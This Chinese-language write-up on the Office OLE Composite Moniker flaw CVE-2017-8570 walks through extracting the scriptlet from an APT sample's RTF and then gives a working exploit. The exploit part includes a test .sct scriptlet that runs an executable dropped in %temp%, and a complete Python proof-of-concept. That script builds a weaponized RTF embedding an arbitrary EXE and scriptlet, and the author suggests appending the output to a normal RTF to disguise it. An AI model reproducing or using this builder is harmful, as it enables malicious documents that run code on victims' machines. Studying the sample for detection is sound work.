POC:CVE-2017-8570
CVE-2017-8570实际上是一逻辑漏洞,该漏洞利用了OLE中Composite Moniker对象在组合File Moniker对象的过程中,未做安全性检查,以致可以直接运行File Moniker对象指定的ScriptletFile(.sct)脚本文件。
以海莲花组织某样本作为示例。
MD5:72bebba3542bd86dc68a36fda5dbae76
使用rtfdump
工具-f O
选项过滤RTF文档中的OLE对象:
之后结合rtfobj
分析结果判断其.sct
脚本文件位于第213号对象中:
通过-s 213 -H
进行验证:
之后使用输出重定向将结果保存到一文本文件中:
最后由awk
命令结合正则表达式将其中的脚本内容提取出来:
注:此时可以使用Notepad++或者Sublime对脚本内容进行排版处理,以便阅读:
其功能为执行释放到临时目录下的VBS脚本文件。
部分样本是将EXE文件以Package对象的形式包含在RTF文档内:
之后通过SCT脚本去执行该EXE:
笔者针对此情况对原有POC进行了改造(具体见文末):
如此一来,便可将EXE文件以Package对象的形式嵌入到RTF文档中。
生成的RTF文档可以添加到正常RTF文档末尾}
之前以进行伪装:
笔者用以测试的SCT脚本如下:
<?XML version="1.0"?> <scriptlet> <registration description="fjzmpcjvqp" progid="fjzmpcjvqp" version="1.00" classid="{204774CF-D251-4F02-855B-2BE70585184B}" remotable="true" > </registration> <script language="JScript"> <![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("%temp%\\write.exe"); ]]> </script> </scriptlet>
其中write.exe
是C:\Windows\System32
目录下的正常写字板程序。效果如图:
import argparse import os import struct import random import string class Package(object): """ Packager spec based on: https://phishme.com/rtf-malware-delivery/ Dropping method by Haifei Li: https://securingtomorrow.mcafee.com/mcafee-labs/dropping-files-temp-folder-raises-security-concerns/ Found being used itw by @MalwareParty: https://twitter.com/MalwareParty/status/943861021260861440 """ def __init__(self, filename,rand): if rand == True: self.filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(15)) + ".sct" else: self.filename = filename self.fakepath = 'C:\\fakepath\\{}'.format(self.filename) self.orgpath = self.fakepath self.datapath = self.fakepath with open(filename,'rb') as f: self.data = f.read() self.OBJ_HEAD = r"{\object\objemb\objw1\objh1{\*\objclass Package}{\*\objdata " self.OBJ_TAIL = r"0105000000000000}}" def get_object_header(self): OLEVersion = '01050000' FormatID = '02000000' ClassName = 'Package' szClassName = struct.pack("<I", len(ClassName) + 1).encode('hex') szPackageData = struct.pack("<I", len(self.get_package_data())/2).encode('hex') return ''.join([ OLEVersion, FormatID, szClassName, ClassName.encode('hex') + '00', '00000000', '00000000', szPackageData, ]) def get_package_data(self): StreamHeader = '0200' Label = self.filename.encode('hex') + '00' OrgPath = self.orgpath.encode('hex') + '00' UType = '00000300' DataPath = self.datapath.encode('hex') + '00' DataPathLen = struct.pack("<I", len(self.datapath)+1).encode('hex') DataLen = struct.pack("<I", len(self.data)).encode('hex') Data = self.data.encode('hex') OrgPathWLen = struct.pack("<I", len(self.datapath)).encode('hex') OrgPathW = self.datapath.encode('utf-16le').encode('hex') LabelLen = struct.pack("<I", len(self.filename)).encode('hex') LabelW = self.filename.encode('utf-16le').encode('hex') DefPathWLen = struct.pack("<I", len(self.orgpath)).encode('hex') DefPathW = self.orgpath.encode('utf-16le').encode('hex') return ''.join([ StreamHeader, Label, OrgPath, UType, DataPathLen, DataPath, DataLen, Data, OrgPathWLen, OrgPathW, LabelLen, LabelW, DefPathWLen, DefPathW, ]) def build_package(self): return self.OBJ_HEAD + self.get_object_header() + self.get_package_data() + self.OBJ_TAIL # Bypassing CVE-2017-0199 patch with Composite Moniker: https://justhaifei1.blogspot.co.uk/2017/07/bypassing-microsofts-cve-2017-0199-patch.html EXPLOIT_RTF = r"""{{\rt{0}{1}{{\object\objautlink\objupdate{{\*\objclass Word.Document.8}}{{\*\objdata 0105000002000000090000004F4C45324C696E6B000000000000000000000A0000D0CF11E0A1B11AE1000000000000000000000000000000003E000300FEFF0900060000000000000000000000010000000100000000000000001000000200000001000000FEFFFFFF0000000000000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF52006F006F007400200045006E00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500FFFFFFFFFFFFFFFF020000000003000000000000C000000000000046000000000000000000000000704D6CA637B5D20103000000000200000000000001004F006C00650000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000A000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000100100000000000003004F0062006A0049006E0066006F00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000120002010100000003000000FFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000004000000060000000000000003004C0069006E006B0049006E0066006F000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000014000200FFFFFFFFFFFFFFFFFFFFFFFF00000000000000000000000000000000000000000000000000000000000000000000000005000000B700000000000000010000000200000003000000FEFFFFFFFEFFFFFF0600000007000000FEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF010000020900000001000000000000000000000000000000C00000000903000000000000C000000000000046020000000303000000000000C00000000000004600001A00000025544D50255C{2}000E00ADDE000000000000000000000000000000000000000038000000320000000300250054004D00500025005C00{3}C6AFABEC197FD211978E0000F8757E2A000000000000000000000000000000000000000000000000FFFFFFFF0609020000000000C00000000000004600000000FFFFFFFF0000000000000000906660A637B5D201000000000000000000000000000000000000000000000000100203000D00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}}}}}""" def build_exploit(sct,exe): sct_p = Package(sct,rand=True) sct_package = sct_p.build_package() exe_p = Package(exe,rand=False) exe_package = exe_p.build_package() return EXPLOIT_RTF.format(exe_package,sct_package, sct_p.filename.encode('hex'), sct_p.filename.encode('utf-16le').encode('hex')) if __name__ == '__main__': parser = argparse.ArgumentParser(description="PoC exploit for CVE-2017-8750 (a.k.a. \"composite moniker\") using Packager.dll file drop method") parser.add_argument("-s", "--sct", help="Sct file to execute", required=True) parser.add_argument("-e", "--exe", help="Exe file", required=True) parser.add_argument('-o', "--output", help="Output file for RTF", required=True) args = parser.parse_args() with open(args.output, 'w') as f: f.write(build_exploit(args.sct,args.exe)) print "[+] RTF file written to: {}".format(args.output)